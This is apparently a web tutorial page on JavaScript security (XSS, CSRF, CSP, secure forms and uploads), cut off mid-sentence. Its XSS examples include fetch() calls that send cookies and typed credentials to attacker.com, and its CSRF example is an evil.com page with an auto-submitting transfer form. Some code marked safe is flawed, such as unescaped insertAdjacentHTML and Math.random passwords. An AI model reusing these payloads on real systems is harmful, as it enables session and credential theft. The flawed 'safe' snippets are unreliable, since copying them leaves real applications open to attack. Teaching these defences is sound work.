Menu

HTML & JS Topic

JavaScript Security Basics: Complete Guide

Cross-Site Scripting (XSS) Attacks

What is XSS?

XSS occurs when attackers inject malicious scripts into web pages viewed by other users.

Types of XSS Attacks:

1. Reflected XSS (Non-persistent)

javascript

// Vulnerable code - user input directly rendered
const search = new URLSearchParams(window.location.search).get('q');
document.getElementById('results').innerHTML = `Search results for: ${search}`;

// Attacker crafts malicious URL:
// https://example.com/search?q=<script>alert('XSS')</script>
// OR more dangerous:
// https://example.com/search?q=<script>stealCookies()</script>

function stealCookies() {
    // Send cookies to attacker's server
    fetch('https://attacker.com/steal', {
        method: 'POST',
        body: document.cookie
    });
}

2. Stored XSS (Persistent)

javascript

// Vulnerable comment system
function addComment(comment) {
    //  UNSAFE: Directly inserting user input
    const commentSection = document.getElementById('comments');
    commentSection.innerHTML += `
        <div class="comment">
            <p>${comment}</p>
        </div>
    `;
    
    // Attacker submits:
    // <script>alert('XSS')</script>
    // OR
    // <img src="x" onerror="stealSession()">
    
    // This gets stored in database and shown to ALL users!
}

// Even more dangerous: stealing login credentials
const maliciousComment = `
    <form onsubmit="stealCredentials()">
        <input id="username" placeholder="Username">
        <input type="password" id="password" placeholder="Password">
        <button>Login</button>
    </form>
`;

function stealCredentials() {
    const username = document.getElementById('username').value;
    const password = document.getElementById('password').value;
    
    fetch('https://attacker.com/steal', {
        method: 'POST',
        body: JSON.stringify({ username, password })
    });
}

3. DOM-based XSS

javascript

// Vulnerable: Using location.hash without validation
const page = window.location.hash.substring(1);
document.getElementById('content').innerHTML = page;

// User visits:
// https://example.com/#<script>alert('XSS')</script>

// Another example with eval()
const userData = JSON.parse(localStorage.getItem('userSettings'));
//  UNSAFE: Using eval() on user data
eval(userData.customScript);

// Attacker sets customScript in localStorage:
// localStorage.setItem('userSettings', '{"customScript": "alert(\'XSS\')"}');

Preventing XSS Attacks:

1. Escape/Encode User Input

javascript

// HTML Entity Encoding
function escapeHTML(text) {
    const div = document.createElement('div');
    div.textContent = text; // Browser automatically escapes
    return div.innerHTML;
}

// Or manually:
function escapeHTMLManual(text) {
    return text
        .replace(/&/g, '&amp;')
        .replace(/</g, '&lt;')
        .replace(/>/g, '&gt;')
        .replace(/"/g, '&quot;')
        .replace(/'/g, '&#x27;')
        .replace(/\//g, '&#x2F;');
}

// Safe usage
const userInput = '<script>alert("XSS")</script>';
document.getElementById('output').innerHTML = escapeHTML(userInput);
// Output: &lt;script&gt;alert(&quot;XSS&quot;)&lt;/script&gt;

// For URLs
function sanitizeURL(url) {
    try {
        const parsed = new URL(url);
        // Only allow http/https
        if (parsed.protocol !== 'http:' && parsed.protocol !== 'https:') {
            return 'about:blank';
        }
        return url;
    } catch {
        return 'about:blank';
    }
}

2. Use textContent instead of innerHTML

javascript

//  UNSAFE
element.innerHTML = userInput;

//  SAFE
element.textContent = userInput;

// Example
function displayUserName(username) {
    //  Vulnerable
    document.getElementById('greeting').innerHTML = `Welcome, ${username}!`;
    
    //  Safe
    document.getElementById('greeting').textContent = `Welcome, ${username}!`;
}

3. Use Safe DOM APIs

javascript

// Creating elements safely
function createSafeElement(tag, content, attributes = {}) {
    const element = document.createElement(tag);
    element.textContent = content; // Content is safe
    
    // Safely set attributes
    for (const [key, value] of Object.entries(attributes)) {
        if (key.startsWith('on')) {
            // Don't allow event handlers from user input
            continue;
        }
        
        if (key === 'href' || key === 'src') {
            element.setAttribute(key, sanitizeURL(value));
        } else {
            // Use setAttribute instead of .attribute = value
            element.setAttribute(key, escapeHTML(value));
        }
    }
    
    return element;
}

// Usage
const userLink = 'javascript:alert("XSS")';
const safeElement = createSafeElement('a', 'Click me', {
    href: userLink,
    class: 'user-link',
    onclick: 'malicious()' // This will be ignored
});

document.body.appendChild(safeElement);

4. Sanitize with DOMPurify

javascript

// Using DOMPurify library (recommended)
import DOMPurify from 'dompurify';

const dirtyHTML = '<script>alert("XSS")</script><p>Safe content</p>';
const cleanHTML = DOMPurify.sanitize(dirtyHTML);
// Result: <p>Safe content</p>

// With configuration
const config = {
    ALLOWED_TAGS: ['p', 'b', 'i', 'em', 'strong', 'a'],
    ALLOWED_ATTR: ['href', 'target', 'rel'],
    FORBID_ATTR: ['style', 'onerror', 'onclick']
};

const safeHTML = DOMPurify.sanitize(userContent, config);

// For specific contexts
const safeForStyle = DOMPurify.sanitize(userStyle, {
    ALLOWED_TAGS: [],
    ALLOWED_ATTR: [],
    ALLOW_DATA_ATTR: false
});

5. Modern Safe Insertion Methods

javascript

// Using template literals with textContent
const name = userInput;
const safeHTML = `<div class="user">${name}</div>`;
element.textContent = ''; // Clear first
element.insertAdjacentHTML('beforeend', safeHTML);

// Using DocumentFragment
function createSafeFragment(htmlString) {
    const template = document.createElement('template');
    template.innerHTML = htmlString;
    return template.content;
}

const userHTML = `<script>alert('XSS')</script><p>Hello</p>`;
const fragment = createSafeFragment(userHTML);
// The script won't execute when added to DOM
document.body.appendChild(fragment);

Cross-Site Request Forgery (CSRF)

What is CSRF?

Attackers trick users into performing actions they didn't intend to.

CSRF Attack Example:

html

<!-- Attacker's page (evil.com) -->
<html>
<body>
    <!-- Hidden form that submits to bank transfer endpoint -->
    <form id="csrfForm" action="https://bank.com/transfer" method="POST">
        <input type="hidden" name="to" value="attacker_account">
        <input type="hidden" name="amount" value="1000">
    </form>
    
    <script>
        // Auto-submit the form when page loads
        document.getElementById('csrfForm').submit();
    </script>
</body>
</html>

<!-- If user is logged into bank.com and visits evil.com,
     the transfer happens automatically! -->

Preventing CSRF Attacks:

1. Use Anti-CSRF Tokens

javascript

// Server-side: Generate and send token
// In Express.js example:
app.get('/transfer-form', (req, res) => {
    const csrfToken = generateSecureToken();
    req.session.csrfToken = csrfToken; // Store in session
    
    res.render('transfer-form', { csrfToken });
});

// Client-side: Include token in all forms
<form action="/transfer" method="POST">
    <input type="hidden" name="_csrf" value="{{csrfToken}}">
    <input type="text" name="to" placeholder="Recipient">
    <input type="number" name="amount" placeholder="Amount">
    <button type="submit">Transfer</button>
</form>

// Server-side: Validate token
app.post('/transfer', (req, res) => {
    const { _csrf, to, amount } = req.body;
    const sessionToken = req.session.csrfToken;
    
    if (!_csrf || _csrf !== sessionToken) {
        return res.status(403).send('Invalid CSRF token');
    }
    
    // Process transfer...
    req.session.csrfToken = generateSecureToken(); // Rotate token
    res.send('Transfer successful');
});

// For AJAX requests
function getCSRFToken() {
    // Read from meta tag or cookie
    return document.querySelector('meta[name="csrf-token"]').content;
}

fetch('/api/transfer', {
    method: 'POST',
    headers: {
        'Content-Type': 'application/json',
        'X-CSRF-Token': getCSRFToken()
    },
    body: JSON.stringify({ to: 'account', amount: 100 })
});

2. SameSite Cookies

javascript

// Set cookies with SameSite attribute
// Server-side (Express.js example):
res.cookie('sessionId', 'abc123', {
    httpOnly: true,
    secure: true, // HTTPS only
    sameSite: 'strict', // or 'lax'
    maxAge: 24 * 60 * 60 * 1000 // 1 day
});

// SameSite options:
// - 'strict': Never send with cross-site requests
// - 'lax': Send with top-level navigation (default in modern browsers)
// - 'none': Send with all requests (requires Secure flag)

// In browser, you can check cookie attributes:
console.log(document.cookie); // Won't show httpOnly cookies
// httpOnly cookies are inaccessible to JavaScript

3. Double Submit Cookie Pattern

javascript

// Simple implementation
// Server sets random token in cookie
document.cookie = "CSRF_TOKEN=random_value_here; SameSite=Strict";

// Client includes token in all forms/requests
function getCSRFToken() {
    // Extract token from cookie
    const cookie = document.cookie
        .split('; ')
        .find(row => row.startsWith('CSRF_TOKEN='));
    
    return cookie ? cookie.split('=')[1] : null;
}

// Include in form
const token = getCSRFToken();
const formData = new FormData();
formData.append('csrf_token', token);
formData.append('action', 'delete');

fetch('/api/action', {
    method: 'POST',
    body: formData
});

// Server compares cookie token with form token

4. Custom Headers for API Requests

javascript

// AJAX requests automatically include custom headers
// that can't be set by forms (CORS restrictions)

fetch('/api/sensitive-action', {
    method: 'POST',
    headers: {
        'Content-Type': 'application/json',
        'X-Requested-With': 'XMLHttpRequest' // Custom header
    },
    body: JSON.stringify({ action: 'delete' })
});

// Server checks for custom header
app.post('/api/sensitive-action', (req, res) => {
    const isAjax = req.headers['x-requested-with'] === 'XMLHttpRequest';
    
    if (!isAjax) {
        return res.status(403).send('AJAX requests only');
    }
    
    // Process request...
});

5. Require Re-authentication for Sensitive Actions

javascript

// For critical actions (password change, large transfers)
function requireReauth(action) {
    return new Promise((resolve, reject) => {
        const password = prompt(`Please re-enter your password to ${action}:`);
        
        fetch('/api/verify-password', {
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
            body: JSON.stringify({ password })
        })
        .then(response => response.json())
        .then(data => {
            if (data.valid) {
                resolve(data.token); // Return one-time token
            } else {
                reject(new Error('Invalid password'));
            }
        });
    });
}

// Usage
async function transferMoney(to, amount) {
    try {
        const authToken = await requireReauth('transfer money');
        
        const response = await fetch('/api/transfer', {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json',
                'X-Auth-Token': authToken
            },
            body: JSON.stringify({ to, amount })
        });
        
        return await response.json();
    } catch (error) {
        console.error('Transfer failed:', error);
    }
}

Content Security Policy (CSP)

What is CSP?

A security layer that helps detect and mitigate XSS attacks by restricting resources the browser can load.

Implementing CSP:

1. Via HTTP Header

javascript

// Server sends this header:
// Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline';

// In Express.js:
app.use((req, res, next) => {
    res.setHeader('Content-Security-Policy', 
        "default-src 'self'; " +
        "script-src 'self' https://trusted.cdn.com; " +
        "style-src 'self' 'unsafe-inline'; " +
        "img-src 'self' data: https:; " +
        "font-src 'self'; " +
        "connect-src 'self' https://api.example.com; " +
        "frame-ancestors 'none'; " +
        "form-action 'self';"
    );
    next();
});

2. Via Meta Tag

html

<meta http-equiv="Content-Security-Policy" 
      content="default-src 'self';
               script-src 'self' 'unsafe-inline' 'unsafe-eval';
               style-src 'self' 'unsafe-inline';
               img-src 'self' data: https:;">

3. CSP Directives Examples

javascript

// Report-Only mode (testing)
res.setHeader('Content-Security-Policy-Report-Only', 
    "default-src 'self'; report-uri /csp-report-endpoint"
);

// Strict CSP policy
const strictCSP = `
    default-src 'none';
    script-src 'self' 'sha256-abc123...' 'sha256-def456...';
    style-src 'self' 'unsafe-inline';
    img-src 'self' data:;
    font-src 'self';
    connect-src 'self';
    frame-ancestors 'none';
    base-uri 'self';
    form-action 'self';
    object-src 'none';
`;

// Nonce-based CSP (modern approach)
// Generate unique nonce for each request
const nonce = generateNonce();
res.setHeader('Content-Security-Policy',
    `script-src 'nonce-${nonce}' 'strict-dynamic' https:;` +
    `object-src 'none';` +
    `base-uri 'none';`
);

// Include nonce in script tags
<script nonce="${nonce}">
    // Inline script allowed because of nonce
</script>

// Hash-based CSP
res.setHeader('Content-Security-Policy',
    "script-src 'sha256-abc123...' 'sha256-def456...';"
);

// Where hash is SHA256 of script content
// Example: console.log('Hello'); → hashed

4. CSP in Practice

javascript

// Dynamic CSP based on environment
function getCSPHeader(isProduction) {
    const directives = [
        "default-src 'self'",
        `script-src 'self' ${isProduction ? '' : "'unsafe-eval'"}`,
        "style-src 'self' 'unsafe-inline'",
        "img-src 'self' data: https:",
        "font-src 'self'",
        "connect-src 'self' https://api.example.com",
        "frame-ancestors 'none'",
        "base-uri 'self'",
        "form-action 'self'"
    ];
    
    if (!isProduction) {
        directives.push("report-uri /csp-report");
    }
    
    return directives.join('; ');
}

// Handling CSP violations
app.post('/csp-report', (req, res) => {
    const violation = req.body['csp-report'];
    console.warn('CSP Violation:', violation);
    // Log to security monitoring system
    res.status(204).end();
});

// Testing CSP
const testPolicy = `
    default-src 'self';
    script-src 'self';
    report-uri /csp-report;
    report-to csp-endpoint;
`;

// Report-To header (newer)
res.setHeader('Report-To', JSON.stringify({
    group: 'csp-endpoint',
    max_age: 10886400,
    endpoints: [{ url: '/csp-report' }],
    include_subdomains: true
}));

5. CSP with Modern Frameworks

javascript

// React with CSP nonces
// Server-side
const nonce = generateNonce();
res.setHeader('Content-Security-Policy',
    `script-src 'nonce-${nonce}' 'strict-dynamic';` +
    `style-src 'nonce-${nonce}' 'unsafe-inline';`
);

// Inject nonce into HTML
const html = `
    <!DOCTYPE html>
    <html>
        <head>
            <script nonce="${nonce}">
                window.__NONCE__ = '${nonce}';
            </script>
            <style nonce="${nonce}">
                /* Inline styles */
            </style>
        </head>
        <body>
            <div id="root"></div>
        </body>
    </html>
`;

// In React app
const root = ReactDOM.createRoot(document.getElementById('root'));
root.render(
    <App nonce={window.__NONCE__} />
);

// Webpack with CSP
// webpack.config.js
module.exports = {
    // Generate content hashes for files
    output: {
        filename: '[name].[contenthash].js',
    },
};

// Use in CSP
// script-src 'sha256-...' 'sha256-...';

Secure Form Handling

1. Input Validation & Sanitization

javascript

// Client-side validation (UX only - always validate server-side!)
class FormValidator {
    static validateEmail(email) {
        const emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
        return emailRegex.test(email);
    }
    
    static sanitizeInput(input) {
        return input
            .trim()
            .replace(/[<>]/g, '') // Remove angle brackets
            .slice(0, 255); // Limit length
    }
    
    static validatePassword(password) {
        return {
            isValid: password.length >= 8 &&
                    /[A-Z]/.test(password) &&
                    /[a-z]/.test(password) &&
                    /[0-9]/.test(password),
            errors: [
                password.length < 8 ? 'Minimum 8 characters' : null,
                !/[A-Z]/.test(password) ? 'At least one uppercase letter' : null,
                !/[a-z]/.test(password) ? 'At least one lowercase letter' : null,
                !/[0-9]/.test(password) ? 'At least one number' : null
            ].filter(Boolean)
        };
    }
    
    static preventXSS(input) {
        const div = document.createElement('div');
        div.textContent = input;
        return div.innerHTML;
    }
}

// Usage in form
const form = document.getElementById('signup-form');

form.addEventListener('submit', async (event) => {
    event.preventDefault();
    
    const email = FormValidator.sanitizeInput(form.email.value);
    const password = form.password.value;
    
    // Validate
    if (!FormValidator.validateEmail(email)) {
        showError('Please enter a valid email address');
        return;
    }
    
    const passwordValidation = FormValidator.validatePassword(password);
    if (!passwordValidation.isValid) {
        showError(passwordValidation.errors.join(', '));
        return;
    }
    
    // Submit securely
    await submitForm(email, password);
});

2. Secure File Uploads

javascript

class SecureFileUpload {
    static ALLOWED_TYPES = {
        'image/jpeg': ['.jpg', '.jpeg'],
        'image/png': ['.png'],
        'image/gif': ['.gif'],
        'application/pdf': ['.pdf']
    };
    
    static MAX_SIZE = 5 * 1024 * 1024; // 5MB
    
    static async validateFile(file) {
        // Check file type
        if (!this.ALLOWED_TYPES[file.type]) {
            throw new Error(`File type ${file.type} not allowed`);
        }
        
        // Check file extension
        const extension = file.name.substring(file.name.lastIndexOf('.')).toLowerCase();
        if (!this.ALLOWED_TYPES[file.type].includes(extension)) {
            throw new Error('Invalid file extension');
        }
        
        // Check file size
        if (file.size > this.MAX_SIZE) {
            throw new Error(`File too large. Maximum size: ${this.MAX_SIZE / 1024 / 1024}MB`);
        }
        
        // Additional security checks
        await this.scanForMalware(file);
        
        return true;
    }
    
    static async scanForMalware(file) {
        // In production, use a proper virus scanner API
        // This is a simplified example
        
        // Check for suspicious file signatures
        const buffer = await file.slice(0, 256).arrayBuffer();
        const view = new Uint8Array(buffer);
        
        // Simple check for executable files
        const isExecutable = view[0] === 0x4D && view[1] === 0x5A; // MZ header
        
        if (isExecutable) {
            throw new Error('Executable files not allowed');
        }
        
        // Check for PHP tags in text files
        if (file.type === 'text/plain' || file.type === 'text/html') {
            const text = await file.slice(0, 1024).text();
            if (text.includes('<?php') || text.includes('<%')) {
                throw new Error('Suspicious content detected');
            }
        }
    }
    
    static async uploadFile(file) {
        await this.validateFile(file);
        
        // Create secure filename
        const timestamp = Date.now();
        const randomString = Math.random().toString(36).substring(2, 15);
        const safeName = file.name.replace(/[^a-zA-Z0-9.-]/g, '_');
        const finalName = `${timestamp}_${randomString}_${safeName}`;
        
        // Upload to server
        const formData = new FormData();
        formData.append('file', file, finalName);
        formData.append('csrf_token', getCSRFToken());
        
        const response = await fetch('/api/upload', {
            method: 'POST',
            body: formData
        });
        
        if (!response.ok) {
            throw new Error('Upload failed');
        }
        
        return await response.json();
    }
}

// Usage
const fileInput = document.getElementById('file-upload');

fileInput.addEventListener('change', async (event) => {
    const file = event.target.files[0];
    
    try {
        const result = await SecureFileUpload.uploadFile(file);
        console.log('File uploaded successfully:', result);
    } catch (error) {
        console.error('Upload error:', error.message);
        showError(error.message);
    }
});

3. Password Security

javascript

class PasswordSecurity {
    // Client-side hashing (additional layer - server should always hash!)
    static async hashPassword(password) {
        // Encode password as UTF-8
        const encoder = new TextEncoder();
        const data = encoder.encode(password);
        
        // Hash with SHA-256
        const hashBuffer = await crypto.subtle.digest('SHA-256', data);
        
        // Convert to hex string
        const hashArray = Array.from(new Uint8Array(hashBuffer));
        const hashHex = hashArray
            .map(b => b.toString(16).padStart(2, '0'))
            .join('');
            
        return hashHex;
    }
    
    // Generate secure password
    static generatePassword(length = 16) {
        const charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()_+-=';
        let password = '';
        
        // Ensure at least one of each required character type
        password += this.getRandomChar('abcdefghijklmnopqrstuvwxyz');
        password += this.getRandomChar('ABCDEFGHIJKLMNOPQRSTUVWXYZ');
        password += this.getRandomChar('0123456789');
        password += this.getRandomChar('!@#$%^&*()_+-=');
        
        // Fill remaining length
        for (let i = password.length; i < length; i++) {
            password += charset.charAt(Math.floor(Math.random() * charset.length));
        }
        
        // Shuffle the password
        return password.split('').sort(() => Math.random() - 0.5).join('');
    }
    
    static getRandomChar(charset) {
        return charset.charAt(Math.floor(Math.random() * charset.length));
    }
    
    // Check password against common breaches
    static async checkBreached(password) {
        // Hash password (partial)
        const hash = await this.hashPassword(password);
        const prefix = hash.substring(0, 5);
        
        try {
            const response = await fetch(`https://api.pwnedpasswords.com/range/${prefix}`);
            const data = await response.text();
            
            // Check if full hash appears in response
            const suffix = hash.substring(5).toUpperCase();
            return data.includes(suffix);
        } catch {
            return false; // Assume safe if check fails
        }
    }
}

// Secure login form
class SecureLoginForm {
    constructor(formId) {
        this.form = document.getElementById(formId);
        this.setupSecurity();
    }
    
    setupSecurity() {
        // Rate limiting
        this.attempts = 0;
        this.maxAttempts = 5;
        this.lockUntil = 0;
        
        // Add honeypot field (for bots)
        this.addHoneypot();
        
        // Add timestamp to prevent replay attacks
        this.addTimestamp();
        
        // Setup event listener
        this.form.addEventListener('submit', this.handleSubmit.bind(this));
    }
    
    addHoneypot() {
        const honeypot = document.createElement('input');
        honeypot.type = 'text';
        honeypot.name = 'website';
        honeypot.style.display = 'none';
        honeypot.autocomplete = 'off';
        this.form.appendChild(honeypot);
    }
    
    addTimestamp() {
        const timestamp = document.createElement('input');
        timestamp.type = 'hidden';
        timestamp.name = 'timestamp';
        timestamp.value = Date.now();
        this.form.appendChild(timestamp);
    }
    
    async handleSubmit(event) {
        event.preventDefault();
        
        // Check rate limit
        if (Date.now() < this.lockUntil) {
            const minutes = Math.ceil((this.lockUntil - Date.now()) / 60000);
            showError(`Too many attempts. Try again in ${minutes} minutes`);
            return;
        }
        
        // Check honeypot
        const honeypot = this.form.querySelector('[name="website"]');
        if (honeypot.value) {
            // Bot detected - silently fail
            console.warn('Bot detected');
            this.form.reset();
            return;
        }
        
        // Check timestamp (prevent replay)
        const timestamp = parseInt(this.form.querySelector('[name="timestamp"]').value);
        const now = Date.now();
        if (now - timestamp > 5 * 60 * 1000) { // 5 minutes
            showError('Session expired. Please refresh the page.');
            return;
        }
        
        // Get and validate credentials
        const email = this.form.email.value.trim();
        const password = this.form.password.value;
        
        if (!email || !password) {
            showError('Please fill in all fields');
            return;
        }
        
        // Hash password client-side (additional security)
        const hashedPassword = await PasswordSecurity.hashPassword(password);
        
        // Send login request
        try {
            const response = await fetch('/api/login', {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json',
                    'X-CSRF-Token': getCSRFToken()
                },
                body: JSON.stringify({
                    email,
                    password: hashedPassword,
                    timestamp
                })
            });
            
            const data = await response.json();
            
            if (data.success) {
                this.onLoginSuccess(data);
            } else {
                this.onLoginFailure(data);
            }
        } catch (error) {
            showError('Network error. Please try again.');
        }
    }
    
    onLoginSuccess(data) {
        // Reset attempts
        this.attempts = 0;
        
        // Store session securely
        this.storeSession(data.token);
        
        // Redirect (use replaceState to prevent back navigation issues)
        window.location.replace('/dashboard');
    }
    
    onLoginFailure(data) {
        this.attempts++;
        
        if (this.attempts >= this.maxAttempts) {
            // Lock account for 15 minutes
            this.lockUntil = Date.now() + (15 * 60 * 1000);
            showError('Too many failed attempts. Account locked for 15 minutes.');
        } else {
            showError(`Invalid credentials. ${this.maxAttempts - this.attempts} attempts remaining.`);
        }
    }
    
    storeSession(token) {
        // Use httpOnly cookies if possible (set by server)
        // For SPA, use secure storage
        
        if (window.sessionStorage) {
            sessionStorage.setItem('auth_token', token);
        }
        
        // Alternative: secure cookie
        document.cookie = `token=${token}; Secure; SameSite=Strict; path=/`;
    }
}

// Initialize
new SecureLoginForm('login-form');

4. Secure AJAX/API Requests

javascript

class SecureAPI {
    constructor(baseURL) {
        this.baseURL = baseURL;
        this.cache = new Map();
        this.requestQueue = new Map();
    }
    
    async request(endpoint, options = {}) {
        const requestId = `${endpoint}_${JSON.stringify(options.body || {})}`;
        
        // Prevent duplicate concurrent requests
        if (this.requestQueue.has(requestId)) {
            return this.requestQueue.get(requestId);
        }
        
        const requestPromise = this._makeRequest(endpoint, options);
        this.requestQueue.set(requestId, requestPromise);
        
        try {
            const result = await requestPromise;
            return result;
        } finally {
            this.requestQueue.delete(requestId);
        }
    }
    
    async _makeRequest(endpoint, options) {
        const url = `${this.baseURL}${endpoint}`;
        const defaultHeaders = {
            'Content-Type': 'application/json',
            'X-Requested-With': 'XMLHttpRequest',
            'X-CSRF-Token': this.getCSRFToken(),
            'X-Request-ID': this.generateRequestId()
        };
        
        const config = {
            method: options.method || 'GET',
            headers: { ...defaultHeaders, ...options.headers },
            credentials: 'same-origin', // Send cookies
            mode: 'same-origin', // Only same-origin requests
            cache: 'no-store', // Disable caching for sensitive data
            ...options
        };
        
        // Add timeout
        const controller = new AbortController();
        const timeoutId = setTimeout(() => controller.abort(), 10000); // 10s timeout
        config.signal = controller.signal;
        
        try {
            const response = await fetch(url, config);
            clearTimeout(timeoutId);
            
            // Check for security headers
            this.checkSecurityHeaders(response.headers);
            
            // Parse response
            const contentType = response.headers.get('content-type');
            
            if (!response.ok) {
                throw await this.handleError(response);
            }
            
            if (contentType && contentType.includes('application/json')) {
                return await response.json();
            }
            
            return await response.text();
        } catch (error) {
            if (error.name === 'AbortError') {
                throw new Error('Request timeout');
            }
            throw error;
        }
    }
    
    generateRequestId() {
        return `${Date.now()}_${Math.random().toString(36).substr(2, 9)}`;
    }
    
    getCSRFToken() {
        // Get from meta tag
        const metaTag = document.querySelector('meta[name="csrf-token"]');
        if (metaTag) {
            return metaTag.getAttribute('content');
        }
        
        // Get from cookie
        const cookie = document.cookie
            .split('; ')
            .find(row => row.startsWith('csrf_token='));
            
        return cookie ? cookie.split('=')[1] : '';
    }
    
    checkSecurityHeaders(headers) {
        const requiredHeaders = [
            'X-Content-Type-Options',
            'X-Frame-Options',
            'X-XSS-Protection'
        ];
        
        const missingHeaders = requiredHeaders.filter(
            header => !headers.has(header)
        );
        
        if (missingHeaders.length > 0) {
            console.warn('Missing security headers:', missingHeaders);
        }
    }
    
    async handleError(response) {
        const error = new Error(`HTTP ${response.status}`);
        error.status = response.status;
        
        try {
            const data = await response.json();
            error.data = data;
            error.message = data.message || error.message;
        } catch {
            error.message = await response.text() || error.message;
        }
        
        // Special handling for security-related errors
        switch(response.status) {
            case 401:
                // Unauthorized - redirect to login
                window.location.href = '/login?return=' + encodeURIComponent(window.location.pathname);
                break;
            case 403:
                // Forbidden - show access denied
                showError('Access denied. You do not have permission.');
                break;
            case 419:
                // CSRF token mismatch
                showError('Session expired. Please refresh the page.');
                break;
        }
        
        return error;
    }
    
    // Rate-limited API calls
    createRateLimiter(maxRequests, timeWindow) {
        const requests = [];
        
        return async (fn) => {
            const now = Date.now();
            
            // Remove old requests
            while (requests.length > 0 && requests[0] < now - timeWindow) {
                requests.shift();
            }
            
            if (requests.length >= maxRequests) {
                const oldest = requests[0];
                const waitTime = timeWindow - (now - oldest);
                await new Promise(resolve => setTimeout(resolve, waitTime));
                return this.createRateLimiter(maxRequests, timeWindow)(fn);
            }
            
            requests.push(now);
            return fn();
        };
    }
}

// Usage
const api = new SecureAPI('/api');

// Make secure request
try {
    const data = await api.request('/user/profile', {
        method: 'GET'
    });
    console.log('User data:', data);
} catch (error) {
    console.error('API error:', error);
}

// Rate-limited example
const rateLimitedAPI = api.createRateLimiter(5, 60000); // 5 requests per minute

rateLimitedAPI(() => 
    api.request('/search', {
        method: 'POST',
        body: JSON.stringify({ query: 'test' })
    })
);

5. Secure Error Handling

javascript

// Don't leak sensitive information in errors
class SecureErrorHandler {
    static handleError(error, context = '') {
        // Log securely (don't include sensitive data)
        const safeError = this.sanitizeError(error);
        
        console.error(`[${context}]`, safeError);
        
        // Send to monitoring (filter sensitive data)
        this.sendToMonitoring(safeError, context);
        
        // Show user-friendly message
        this

Comments (0)

No comments yet. Be the first to comment!

LecturreAI Assistant

Hello! I'm LecturreAI

What would you like to learn today?